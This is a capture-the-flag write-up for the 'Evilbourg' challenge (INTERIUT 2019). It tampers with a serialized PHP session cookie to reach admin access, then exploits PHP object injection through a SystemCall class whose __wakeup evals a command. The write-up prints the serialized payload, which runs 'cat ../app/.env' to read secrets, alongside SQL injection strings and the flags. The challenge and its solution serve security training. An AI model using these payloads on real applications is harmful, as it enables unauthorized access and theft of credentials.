[ Home ] [ Writeups ] [ Articles ] [ Cheatsheets ] [ CVE ] [ EOF ]


.:: Evilbourg - CTF INTERIUT 2019 ::.
Title : Evilbourg - CTF INTERIUT 2019
Author : Cabir  
teammates : Deilyora
Date : Sunday, Jun 30, 2019
Modified : Sunday, Jun 30, 2019
Reading time: 3 minutes and 32 seconds.

.: DESCRIPTION :.

The challenge is in 4 parts.


-=[Change Cookie to Object Serealization to RCE]=-

Part 1

Challenge beginning ERROR-IMAGE

First thing we did, is to go in Login.

ERROR-IMAGE

Rapidly tried some HARD Payload : admin' OR 1=1– ou admin' OR 1=1#

Nothing happen, no reaction from the server. We decided to check Cookies DECODE cookies with urlencoder.org.

1a:2:{s:11:"Utilisateur";i:0;s:10:"slim.flash";a:0:{}} 

User has an attribut i:0, move to i:1, URL encode it again:

1 a%3A2%3A%7Bs%3A11%3A%22Utilisateur%22%3Bi%3A0%3Bs%3A10%3A%22slim.flash%22%3Ba%3A0%3A%7B %7D%7D Refresh the page, we are connected. 

ERROR-IMAGE We got an acces to a GitLab, first flag in the README.md

ERROR-IMAGE

Part 2

So we have an access to a Gitlab, We look for the .env file.

ERROR-IMAGE

We find credentials in it, but not nothing interesting. In the var folder, we find logs files. In the errors, we can see a call to a file called Confidential.php

 1 <?php
 2
 3namespace App\Controller;
 4
 5
 6use App\Service\EnvService;
 7use App\Service\SystemCall;
 8use App\Service\UserRankService;
 9
10class Confidential
11{
12    public function confidential($app)
13    {
14        $userRankService = new UserRankService();
15        $rank = $userRankService->getSessionRank();
16
17        $envService = new EnvService();
18
19        $deuxiemeFlag = $envService->getEnv('DEUXIEME_FLAG');
20        $notesHacker = $envService->getEnv('NOTES_HACKER');
21        $systemCall = new SystemCall('system("ls -a ../app");');
22
23        if($rank === UserRankService::ADMIN_RANK){
24            $app->render('front/confidential.twig', array('admin' => $rank, 'systemCall'
25             => $systemCall,
26                'deuxiemeFlag' => $deuxiemeFlag, 'notesHacker' => $notesHacker));
27        }else {
28            $app->redirect('/connexion', '/connexion', 301);
29        }
30
31    }
32}

In the Confidential.php controller, we see a call to

1if($rank === UserRankService::ADMIN_RANK) 

Lets look to UserRankService.php

 1<?php
 2
 3namespace App\Service;
 4
 5
 6class UserRankService
 7{
 8
 9    public const ADMIN_RANK = '4dmin_H3Re!';
10    public const ADMIN_TEXT= 'here you are!';
11    public const USER_RANK= 'Utilisateur';
12    public const USER_TEXT= 1;
13
14    function getSessionRank(){
15
16        if(isset($_SESSION[UserRankService::ADMIN_RANK])){
17            if($_SESSION[UserRankService::ADMIN_RANK] === UserRankService::ADMIN_TEXT){
18                return UserRankService::ADMIN_RANK;
19            }
20        }
21
22        if(isset($_SESSION[UserRankService::USER_RANK])){
23            if($_SESSION[UserRankService::USER_RANK] === UserRankService::USER_TEXT){
24                return UserRankService::USER_RANK;
25            }
26        }
27
28        return 'Non connecté';
29
30    }
31
32}

We know our old Cookie with the serialized object Utilisateur et 1

So we modify the Cookie using 4dmin_H3Re and here we are! It look like this:

1a:3:{s:11:"4dmin_H3Re!";s:13:"here you are!";s:11:"Utilisateur";i:1;s:10:"slim.flash"; a:0:{}} 

We used URL ENCODE to encode the cookie before insert it.

1a%3A3%3A%7Bs%3A11%3A%224dmin_H3Re%21%22%3Bs%3A13%3A%22here%20you%20are%21%22%3Bs%3A11%3A%22 Utilisateur%22%3Bi%3A1%3Bs%3A10%3A%22slim.flash%22%3Ba%3A0%3A%7B%7D%7D 

Cookie modification: ERROR-IMAGE

Part 3

In the notes left by the hacker, we are told that the site is Vulnerable to CVE-2015-2171, but that there is no POC online. It is also stated that the OWASP documentation will be very useful. We are therefore looking for information on the CVE, and indeed we can not find anything concrete, except the type of vulnerability (PHP Object Injection) and a link to the site of OWASP: “https://www.owasp.org/index.php/PHP_Object_Injection" Exploitation of the vulnerability consists in injecting a PHP object thanks to the magic method (which is exploitable) __wakeup () After the notes of the hacker, we could see on the page the return of a ls command. Looking at the source code of Confidential.php, we actually see the call to a SystemCall class, with the builder parameter calling the PHP system method to execute the ls.

 1<?php
 2
 3namespace App\Controller;
 4
 5
 6use App\Service\EnvService;
 7use App\Service\SystemCall;
 8use App\Service\UserRankService;
 9
10class Confidential
11{
12    public function confidential($app)
13    {
14        $userRankService = new UserRankService();
15        $rank = $userRankService->getSessionRank();
16
17        $envService = new EnvService();
18
19        $deuxiemeFlag = $envService->getEnv('DEUXIEME_FLAG');
20        $notesHacker = $envService->getEnv('NOTES_HACKER');
21        $systemCall = new SystemCall('system("ls -a ../app");');
22
23        if($rank === UserRankService::ADMIN_RANK){
24            $app->render('front/confidential.twig', array('admin' => $rank, 'systemCall'
25             => $systemCall,
26                'deuxiemeFlag' => $deuxiemeFlag, 'notesHacker' => $notesHacker));
27        }else {
28            $app->redirect('/connexion', '/connexion', 301);
29        }
30
31    }
32}

So we think that we will have to inject an object of type SystemCall, in order to be able to place our own orders. And that’s good, we have the source code of the SystemCall class on the Gitlab. To serialize our object we used PHP Sandbox. We insert our SystemCall class to serialize in order to read the .env file as well as a print (serialize ()) to serialize our object:

 1<?php
 2
 3namespace App\Service;
 4
 5class SystemCall
 6{
 7    public $hook;
 8    public $result;
 9
10    function construct($hook)
11    {
12        $this->hook = $hook;
13    }
14
15    function wakeup()
16    {
17        $this->result = eval($this->hook);
18    }
19
20    function call()
21    {
22        $this->__wakeup();
23    }
24}
25
26print serialize(new SystemCall('system("cat ../app/.env")'))."\n";
27print "---------------------------------------------\n";
28print urlencode(serialize(new SystemCall('system("cat ../app/.env")')));
29?>

We get our serialized object. Don’t forget " ; " in PHP, otherwise (╯°□°)╯︵ ┻━┻ ERROR-IMAGE

1O:22:"App\Service\SystemCall":2:{s:4:"hook";s:26:"system("cat ../app/.env");"; s:6:"result";N;} 

It only remains to inject the object. It will be injected at the time of deserialization. So we add it to our authentication cookie, we encode and we recover the production .env:

ERROR-IMAGE

.: FLAG :.

PART1: H2G2{N0_S4F3_T0ken}, PART2: H2G2{Publ1c_G1t_15_B4D}, PART3: H2G2{5L1M_15_Th3_W4Y}

[ Home ] [ Writeups ] [ Articles ] [ Cheatsheets ] [ CVE ] [ EOF ]